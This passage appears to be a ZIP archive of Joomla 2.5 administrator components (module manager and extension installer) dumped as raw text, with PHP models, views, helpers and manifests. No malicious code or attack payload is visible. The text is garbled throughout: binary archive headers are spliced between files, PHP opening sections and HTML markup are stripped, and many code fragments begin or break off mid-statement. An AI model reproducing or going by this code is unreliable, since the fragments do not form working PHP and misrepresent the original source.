a.language,a.checked_out,'. 'a.checked_out_time, a.published, a.access, a.ordering,l.title, uc.name, ag.title, e.name,'. 'l.lang_code, uc.id, ag.id, mm.moduleid, e.element, a.publish_up, a.publish_down,e.enabled'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by published state $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } elseif ($state === '') { $query->where('(a.published IN (0, 1))'); } // Filter by position $position = $this->getState('filter.position'); if ($position && $position != 'none') { $query->where('a.position = '.$db->Quote($position)); } elseif ($position == 'none') { $query->where('a.position = '.$db->Quote('')); } // Filter by module $module = $this->getState('filter.module'); if ($module) { $query->where('a.module = '.$db->Quote($module)); } // Filter by client. $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { $query->where('a.client_id = ' . (int) $clientId . ' AND e.client_id ='. (int) $clientId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('('.'a.title LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\]+components/com_modules/models/positions.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $clientId = JRequest::getInt('client_id', 0); $this->setState('filter.client_id', $clientId); $template = $this->getUserStateFromRequest($this->context.'.filter.template', 'filter_template', '', 'string'); $this->setState('filter.template', $template); $type = $this->getUserStateFromRequest($this->context.'.filter.type', 'filter_type', '', 'string'); $this->setState('filter.type', $type); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // List state information. parent::populateState('value', 'asc'); } /** * Method to get an array of data items. * * @return mixed An array of data items on success, false on failure. * @since 1.6 */ public function getItems() { if (!isset($this->items)) { $lang = JFactory::getLanguage(); $search = $this->getState('filter.search'); $state = $this->getState('filter.state'); $clientId = $this->getState('filter.client_id'); $filter_template = $this->getState('filter.template'); $type = $this->getState('filter.type'); $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); $limitstart = $this->getState('list.start'); $limit = $this->getState('list.limit'); $client = JApplicationHelper::getClientInfo($clientId); if ($type!='template') { // Get the database object and a new query object. $query = $this->_db->getQuery(true); $query->select('DISTINCT(position) as value'); $query->from('#__modules'); $query->where($this->_db->quoteName('client_id').' = '.(int) $clientId); if ($search) { $query->where('position LIKE '.$this->_db->Quote('%'.$this->_db->escape($search, true).'%')); } $this->_db->setQuery($query); $positions = $this->_db->loadObjectList('value'); // Check for a database error. if ($error = $this->_db->getErrorMsg()) { $this->setError($error); return false; } foreach ($positions as $value=>$position) { $positions[$value] = array(); } } else { $positions=array(); } // Load the positions from the installed templates. foreach (ModulesHelper::getTemplates($clientId) as $template) { $path = JPath::clean($client->path.'/templates/'.$template->element.'/templateDetails.xml'); if (file_exists($path)) { $xml = simplexml_load_file($path); if (isset($xml->positions[0])) { $lang->load('tpl_'.$template->element.'.sys', $client->path, null, false, true) || $lang->load('tpl_'.$template->element.'.sys', $client->path.'/templates/'.$template->element, null, false, true); foreach ($xml->positions[0] as $position) { $value = (string)$position['value']; $label = (string)$position; if (!$value) { $value = $label; $label = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_'.$template->element.'_POSITION_'.$value); $altlabel = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'COM_MODULES_POSITION_'.$value); if (!$lang->hasKey($label) && $lang->hasKey($altlabel)) { $label = $altlabel; } } if ($type=='user' || ($state!='' && $state!=$template->enabled)) { unset($positions[$value]); } elseif (preg_match(chr(1).$search.chr(1).'i', $value) && ($filter_template=='' || $filter_template==$template->element)) { if (!isset($positions[$value])) { $positions[$value] = array(); } $positions[$value][$template->name]=$label; } } } } } $this->total = count($positions); if ($limitstart >= $this->total) { $limitstart = $limitstart < $limit ? 0 : $limitstart - $limit; $this->setState('list.start', $limitstart); } if ($ordering == 'value') { if ($direction == 'asc') { ksort($positions); } else { krsort($positions); } } else { if ($direction == 'asc') { asort($positions); } else { arsort($positions); } } $this->items = array_slice($positions, $limitstart, $limit ? $limit : null); } return $this->items; } /** * Method to get the total number of items. * * @return int The total number of items. * @since 1.6 */ public function getTotal() { if (!isset($this->total)) { $this->getItems(); } return $this->total; } } PK@y>\V)components/com_modules/helpers/index.htmlnuW+A PK@y>\)(components/com_modules/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_modules/helpers/html/index.htmlnuW+A PK@y>\)-components/com_modules/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\F/components/com_modules/helpers/html/modules.phpnuW+Aelement, $template->name); } return $options; } /** */ static public function types() { $options = array(); $options[] = JHtml::_('select.option', 'user', 'COM_MODULES_OPTION_POSITION_USER_DEFINED'); $options[] = JHtml::_('select.option', 'template', 'COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED'); return $options; } /** */ static public function templateStates() { $options = array(); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); return $options; } /** * Returns a published state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 1.7.1 */ public static function state($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 1 => array( 'unpublish', 'COM_MODULES_EXTENSION_PUBLISHED_ENABLED', 'COM_MODULES_HTML_UNPUBLISH_ENABLED', 'COM_MODULES_EXTENSION_PUBLISHED_ENABLED', true, 'publish', 'publish' ), 0 => array( 'publish', 'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED', 'COM_MODULES_HTML_PUBLISH_ENABLED', 'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED', true, 'unpublish', 'unpublish' ), -1 => array( 'unpublish', 'COM_MODULES_EXTENSION_PUBLISHED_DISABLED', 'COM_MODULES_HTML_UNPUBLISH_DISABLED', 'COM_MODULES_EXTENSION_PUBLISHED_DISABLED', true, 'warning', 'warning' ), -2 => array( 'publish', 'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED', 'COM_MODULES_HTML_PUBLISH_DISABLED', 'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED', true, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'modules.', $enabled, true, $checkbox); } /** * Display a batch widget for the module position selector. * * @param integer $clientId The client ID * * @return string The necessary HTML for the widget. * * @since 2.5 */ public static function positions($clientId) { // Create the copy/move options. $options = array( JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')), JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE')) ); // Create the batch selector to change select the category by which to move or copy. $lines = array( '', '
', '', JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'), '
' ); return implode("\n", $lines); } /** * Method to get the field options. * * @param integer $clientId The client ID * * @return array The field option objects. * * @since 2.5 */ public static function positionList($clientId = 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(position) as value'); $query->select('position as text'); $query->from($db->quoteName('#__modules')); $query->where($db->quoteName('client_id') . ' = ' . (int) $clientId); $query->order('position'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pop the first item off the array if it's blank if (strlen($options[0]->text) < 1) { array_shift($options); } return $options; } } PK@y>\__&components/com_modules/helpers/xml.phpnuW+A $row) { if ($row->module == '') { $rows[$i]->name = 'custom'; $rows[$i]->module = 'custom'; $rows[$i]->descrip = 'Custom created module, using Module Manager New function'; } else { $data = JInstaller::parseXMLInstallFile($row->path . '/' . $row->file); if ($data['type'] == 'module') { $rows[$i]->name = $data['name']; $rows[$i]->descrip = $data['description']; } } } } } PK@y>\;s*components/com_modules/helpers/modules.phpnuW+Aset($action->name, $user->authorise($action->name, 'com_modules')); } return $result; } /** * Get a list of filter options for the state of a module. * * @return array An array of JHtmlOption elements. */ public static function getStateOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('JPUBLISHED')); $options[] = JHtml::_('select.option', '0', JText::_('JUNPUBLISHED')); $options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED')); return $options; } /** * Get a list of filter options for the application clients. * * @return array An array of JHtmlOption elements. */ public static function getClientOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '0', JText::_('JSITE')); $options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR')); return $options; } static function getPositions($clientId) { jimport('joomla.filesystem.folder'); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(position)'); $query->from('#__modules'); $query->where($db->quoteName('client_id').' = '.(int) $clientId); $query->order('position'); $db->setQuery($query); $positions = $db->loadColumn(); $positions = (is_array($positions)) ? $positions : array(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return; } // Build the list $options = array(); foreach ($positions as $position) { if (!$position) { $options[] = JHtml::_('select.option', 'none', ':: '.JText::_('JNONE').' ::'); } else { $options[] = JHtml::_('select.option', $position, $position); } } return $options; } public static function getTemplates($clientId = 0, $state = '', $template='') { $db = JFactory::getDbo(); // Get the database object and a new query object. $query = $db->getQuery(true); // Build the query. $query->select('element, name, enabled'); $query->from('#__extensions'); $query->where('client_id = '.(int) $clientId); $query->where('type = '.$db->quote('template')); if ($state!='') { $query->where('enabled = '.$db->quote($state)); } if ($template!='') { $query->where('element = '.$db->quote($template)); } // Set the query and load the templates. $db->setQuery($query); $templates = $db->loadObjectList('element'); return $templates; } /** * Get a list of the unique modules installed in the client application. * * @param int The client id. * * @return array */ public static function getModules($clientId) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('element AS value, name AS text'); $query->from('#__extensions as e'); $query->where('e.client_id = '.(int)$clientId); $query->where('type = '.$db->quote('module')); $query->leftJoin('#__modules as m ON m.module=e.element AND m.client_id=e.client_id'); $query->where('m.module IS NOT NULL'); $query->group('element,name'); $db->setQuery($query); $modules = $db->loadObjectList(); $lang = JFactory::getLanguage(); foreach ($modules as $i=>$module) { $extension = $module->value; $path = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE; $source = $path . "/modules/$extension"; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); $modules[$i]->text = JText::_($module->text); } JArrayHelper::sortObjects($modules, 'text', 1, true, $lang->getLocale()); return $modules; } /** * Get a list of the assignment options for modules to menus. * * @param int The client id. * * @return array */ public static function getAssignmentOptions($clientId) { $options = array(); $options[] = JHtml::_('select.option', '0', 'COM_MODULES_OPTION_MENU_ALL'); $options[] = JHtml::_('select.option', '-', 'COM_MODULES_OPTION_MENU_NONE'); if ($clientId == 0) { $options[] = JHtml::_('select.option', '1', 'COM_MODULES_OPTION_MENU_INCLUDE'); $options[] = JHtml::_('select.option', '-1', 'COM_MODULES_OPTION_MENU_EXCLUDE'); } return $options; } } PK@y>\)"components/com_installer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)1components/com_installer/views/discover/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_installer/views/discover/index.htmlnuW+A PK@y>\pee5components/com_installer/views/discover/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); /* * Set toolbar items for the page */ JToolBarHelper::custom('discover.install', 'upload', 'upload', 'JTOOLBAR_INSTALL', true, false); JToolBarHelper::custom('discover.refresh', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DISCOVER', false, false); JToolBarHelper::custom('discover.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER'); } } PK@y>\H=components/com_installer/views/discover/tmpl/default_item.phpnuW+A item->index % 2; ?>" item->style; ?>> pagination->getRowOffset($this->item->index); ?> item->cbd; ?> /> item->name; ?> item->type ?> item->element) : ?> X item->img, $this->item->alt, array('title' => $this->item->action)); ?> item->folder != '' ? $this->item->folder : 'N/A'; ?> item->client != '' ? $this->item->client : 'N/A'; ?> item->author != '' ? $this->item->author : ' '; ?> PK@y>\8components/com_installer/views/discover/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i => $item): ?>
pagination->getListFooter(); ?>
extension_id); ?> name; ?> type); ?> version != '' ? $item->version : ' '; ?> creationDate != '' ? $item->creationDate : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> client; ?> author != '' ? $item->author : ' '; ?> extension_id ?>

PK@y>\)6components/com_installer/views/discover/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V7components/com_installer/views/discover/tmpl/index.htmlnuW+A PK@y>\V)components/com_installer/views/index.htmlnuW+A PK@y>\V0components/com_installer/views/manage/index.htmlnuW+A PK@y>\V5components/com_installer/views/manage/tmpl/index.htmlnuW+A PK@y>\)4components/com_installer/views/manage/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\l{{6components/com_installer/views/manage/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> loadTemplate('filter'); ?> items)) : ?> items as $i => $item): ?>
pagination->getListFooter(); ?>
extension_id); ?> name; ?> client; ?> element) : ?> X status, $i, $item->status < 2, 'cb'); ?> type); ?> version != '' ? $item->version : ' '; ?> system_data) : ?> createCompatibilityInfo($item->system_data)) : ?> creationDate != '' ? $item->creationDate : ' '; ?> author != '' ? $item->author : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> extension_id ?>
PK@y>\ٚhff=components/com_installer/views/manage/tmpl/default_filter.phpnuW+A
form->getFieldSet('select') as $field): ?> hidden): ?> label; ?> input; ?>
PK@y>\)/components/com_installer/views/manage/.htaccessnuW+A Order allow,deny Deny from all PK@y>\~f= = 3components/com_installer/views/manage/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } //Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_INSTALLER_MSG_MANAGE_NOEXTENSION') , 'warning' ); } // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Display the view parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); if ($canDo->get('core.edit.state')) { JToolBarHelper::publish('manage.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('manage.unpublish', 'JTOOLBAR_DISABLE', true); JToolBarHelper::divider(); } JToolBarHelper::custom('manage.refresh', 'refresh', 'refresh', 'JTOOLBAR_REFRESH_CACHE', true); JToolBarHelper::divider(); if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'manage.remove', 'JTOOLBAR_UNINSTALL'); JToolBarHelper::divider(); } parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE'); } /** * Creates the content for the tooltip which shows compatibility information * * @var string $system_data System_data information * * @since 2.5.28 * * @return string Content for tooltip */ protected function createCompatibilityInfo($system_data) { $system_data = json_decode($system_data); if (empty($system_data->compatibility)) { return ''; } $compatibility = $system_data->compatibility; $info = JText::sprintf('COM_INSTALLER_COMPATIBILITY_TOOLTIP_INSTALLED', $compatibility->installed->version, implode(', ', $compatibility->installed->value) ) . '
' . JText::sprintf('COM_INSTALLER_COMPATIBILITY_TOOLTIP_AVAILABLE', $compatibility->available->version, implode(', ', $compatibility->available->value) ); return $info; } } PK@y>\)(components/com_installer/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%5components/com_installer/views/database/view.html.phpnuW+Astate = $this->get('State'); $this->changeSet = $this->get('Items'); $this->errors = $this->changeSet->check(); $this->results = $this->changeSet->getStatus(); $this->schemaVersion = $this->get('SchemaVersion'); $this->updateVersion = $this->get('UpdateVersion'); $this->filterParams =$this->get('DefaultTextFilters'); $this->schemaVersion = ($this->schemaVersion) ? $this->schemaVersion : JText::_('JNONE'); $this->updateVersion = ($this->updateVersion) ? $this->updateVersion : JText::_('JNONE'); $this->pagination = $this->get('Pagination'); $this->errorCount = count($this->errors); $errors = count($this->errors); if ($this->schemaVersion != $this->changeSet->getSchema()) { $this->errorCount++; } if (!$this->filterParams) { $this->errorCount++; } if (version_compare($this->updateVersion, JVERSION) != 0) { $this->errorCount++; } parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); /* * Set toolbar items for the page */ JToolBarHelper::custom('database.fix', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DATABASE_FIX', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE'); } } PK@y>\V7components/com_installer/views/database/tmpl/index.htmlnuW+A PK@y>\  8components/com_installer/views/database/tmpl/default.phpnuW+A
errorCount === 0) : ?>

1)); ?>

1)); ?> errorCount); ?>
    filterParams) : ?>
  • schemaVersion != $this->changeSet->getSchema()) : ?>
  • schemaVersion, $this->changeSet->getSchema()); ?>
  • updateVersion, JVERSION) != 0) : ?>
  • updateVersion, JVERSION); ?>
  • errors as $line => $error) : ?> queryType; $msgs = $error->msgElements; $file = basename($error->file); $msg0 = (isset($msgs[0])) ? $msgs[0] : ' '; $msg1 = (isset($msgs[1])) ? $msgs[1] : ' '; $msg2 = (isset($msgs[2])) ? $msgs[2] : ' '; $message = JText::sprintf($key, $file, $msg0, $msg1, $msg2); ?>
  • schemaVersion); ?>
  • updateVersion); ?>
  • name); ?>
  • results['ok'])); ?>
  • results['skipped'])); ?>
PK@y>\)6components/com_installer/views/database/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_installer/views/database/index.htmlnuW+A PK@y>\)1components/com_installer/views/database/.htaccessnuW+A Order allow,deny Deny from all PK@y>\JN?components/com_installer/views/default/tmpl/default_message.phpnuW+Aget('State'); $message1 = $state->get('message'); $message2 = $state->get('extension_message'); ?>
PK@y>\V6components/com_installer/views/default/tmpl/index.htmlnuW+A PK@y>\$>;components/com_installer/views/default/tmpl/default_ftp.phpnuW+A
ftp instanceof Exception): ?>

ftp->getMessage()); ?>

PK@y>\)5components/com_installer/views/default/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\g/components/com_installer/views/default/view.phpnuW+A_addPath('template', $this->_basePath . '/views/default/tmpl'); $this->_addPath('template', JPATH_THEMES.'/'.$app->getTemplate().'/html/com_installer/default'); } /** * @since 1.5 */ function display($tpl=null) { // Get data from the model $state = $this->get('State'); // Are there messages to display ? $showMessage = false; if (is_object($state)) { $message1 = $state->get('message'); $message2 = $state->get('extension_message'); $showMessage = ($message1 || $message2); } $this->showMessage = $showMessage; $this->assignRef('state', $state); JHtml::_('behavior.tooltip'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'install.png'); if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_installer'); JToolBarHelper::divider(); } // Document $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_INSTALLER_TITLE_' . $this->getName())); } } PK@y>\)0components/com_installer/views/default/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_installer/views/default/index.htmlnuW+A PK@y>\ڮG6components/com_installer/views/languages/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } /** * Add the page title and toolbar. * * @return void */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::title(JText::_('COM_INSTALLER_HEADER_' . $this->getName()), 'install.png'); if ($canDo->get('core.admin')) { JToolBarHelper::custom('languages.install', 'upload', 'upload', 'COM_INSTALLER_TOOLBAR_INSTALL', true, false); JToolBarHelper::custom('languages.find', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_FIND_LANGUAGES', false, false); JToolBarHelper::custom('languages.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); // TODO: this help screen will need to be created JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES'); } } }PK@y>\V8components/com_installer/views/languages/tmpl/index.htmlnuW+A PK@y>\w6 9components/com_installer/views/languages/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ver = new JVersion; ?>
items) || $this->escape($this->state->get('filter.search'))) : ?> loadTemplate('filter'); ?>
items as $i => $language) : ?> version, 0, 3) == $ver->RELEASE) : ?>
pagination->getListFooter(); ?>
update_id, false, 'cid'); ?> name; ?> version; ?> type)); ?> detailsurl; ?> update_id; ?>

PK@y>\<@components/com_installer/views/languages/tmpl/default_filter.phpnuW+A
PK@y>\)7components/com_installer/views/languages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)2components/com_installer/views/languages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3components/com_installer/views/languages/index.htmlnuW+A PK@y>\)0components/com_installer/views/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_installer/views/install/index.htmlnuW+A PK@y>\i7components/com_installer/views/install/tmpl/default.phpnuW+A showMessage) : ?> loadTemplate('message'); ?> loadTemplate('form'); ?> PK@y>\UD ? ? <components/com_installer/views/install/tmpl/default_form.phpnuW+A
ftp) : ?> loadTemplate('ftp'); ?>
PK@y>\V6components/com_installer/views/install/tmpl/index.htmlnuW+A PK@y>\)5components/com_installer/views/install/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\{24components/com_installer/views/install/view.html.phpnuW+Afirst = ''; $state = $this->get('state'); $this->assignRef('paths', $paths); $this->assignRef('state', $state); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL'); } } PK@y>\)1components/com_installer/views/warnings/.htaccessnuW+A Order allow,deny Deny from all PK@y>\LOB%%5components/com_installer/views/warnings/view.html.phpnuW+Aget('Items'); $this->assignRef('messages', $items); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS'); } } PK@y>\V2components/com_installer/views/warnings/index.htmlnuW+A PK@y>\)6components/com_installer/views/warnings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\cח8components/com_installer/views/warnings/tmpl/default.phpnuW+A
messages)) { echo '

'. JText::_('COM_INSTALLER_MSG_WARNINGS_NONE').'

'; } else { echo JHtml::_('sliders.start', 'warning-sliders', array('useCookie'=>1)); foreach($this->messages as $message) { echo JHtml::_('sliders.panel', $message['message'], str_replace(' ', '', $message['message'])); echo '
'.$message['description'].'
'; } echo JHtml::_('sliders.panel', JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFO'), 'furtherinfo-pane'); echo '
'. JText::_('COM_INSTALLER_MSG_WARNINGFURTHERINFODESC') .'
'; echo JHtml::_('sliders.end'); } ?>
PK@y>\V7components/com_installer/views/warnings/tmpl/index.htmlnuW+A PK@y>\V0components/com_installer/views/update/index.htmlnuW+A PK@y>\)/components/com_installer/views/update/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_installer/views/update/tmpl/index.htmlnuW+A PK@y>\x'r6components/com_installer/views/update/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i=>$item): $client = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); ?>
pagination->getListFooter(); ?>
update_id); ?> escape($item->name); ?> extension_id ? JText::_('COM_INSTALLER_MSG_UPDATE_UPDATE') : JText::_('COM_INSTALLER_NEW_INSTALL') ?> type) ?> version ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> detailsurl ?> infourl)) : ?>
escape($item->infourl);?>

PK@y>\)4components/com_installer/views/update/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7ff3components/com_installer/views/update/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $paths = new stdClass(); $paths->first = ''; $this->assignRef('paths', $paths); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); JToolBarHelper::custom('update.update', 'upload', 'upload', 'COM_INSTALLER_TOOLBAR_UPDATE', true, false); JToolBarHelper::custom('update.find', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_FIND_UPDATES', false, false); JToolBarHelper::custom('update.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE'); } } PK@y>\ĜS&components/com_installer/installer.xmlnuW+A com_installer Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_INSTALLER_XML_DESCRIPTION config.xml controller.php index.html installer.php controllers helpers models views language/en-GB.com_installer.ini PK@y>\4/+#components/com_installer/access.xmlnuW+A
PK@y>\@/'components/com_installer/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Get the model for the view. $model = $this->getModel($vName); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. InstallerHelper::addSubmenu($vName); $view->display(); } return $this; } } PK@y>\rb??&components/com_installer/installer.phpnuW+Aauthorise('core.manage', 'com_installer')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Installer'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\V+components/com_installer/helpers/index.htmlnuW+A PK@y>\)*components/com_installer/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)/components/com_installer/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_installer/helpers/html/index.htmlnuW+A PK@y>\U@0components/com_installer/helpers/html/manage.phpnuW+A array( '', 'COM_INSTALLER_EXTENSION_PROTECTED', '', 'COM_INSTALLER_EXTENSION_PROTECTED', false, 'protected', 'protected' ), 1 => array( 'unpublish', 'COM_INSTALLER_EXTENSION_ENABLED', 'COM_INSTALLER_EXTENSION_DISABLE', 'COM_INSTALLER_EXTENSION_ENABLED', false, 'publish', 'publish' ), 0 => array( 'publish', 'COM_INSTALLER_EXTENSION_DISABLED', 'COM_INSTALLER_EXTENSION_ENABLE', 'COM_INSTALLER_EXTENSION_DISABLED', false, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'manage.', $enabled, true, $checkbox); } } PK@y>\FA.components/com_installer/helpers/installer.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\ViW#components/com_installer/config.xmlnuW+A
PK@y>\J|%%*components/com_installer/models/update.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * Method to get the database query * * @return JDatabaseQuery The database query * @since 1.6 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); // grab updates ignoring new installs $query->select('*')->from('#__updates')->where('extension_id != 0'); $query->order($this->getState('list.ordering').' '.$this->getState('list.direction')); // Filter by extension_id if ($eid = $this->getState('filter.extension_id')) { $query->where($db->nq('extension_id') . ' = ' . $db->q((int) $eid)); } else { $query->where($db->nq('extension_id').' != '.$db->q(0)); $query->where($db->nq('extension_id').' != '.$db->q(700)); } return $query; } /** * Finds updates for an extension. * * @param int Extension identifier to look for * @return boolean Result * @since 1.6 */ public function findUpdates($eid=0, $cache_timeout = 0) { $updater = 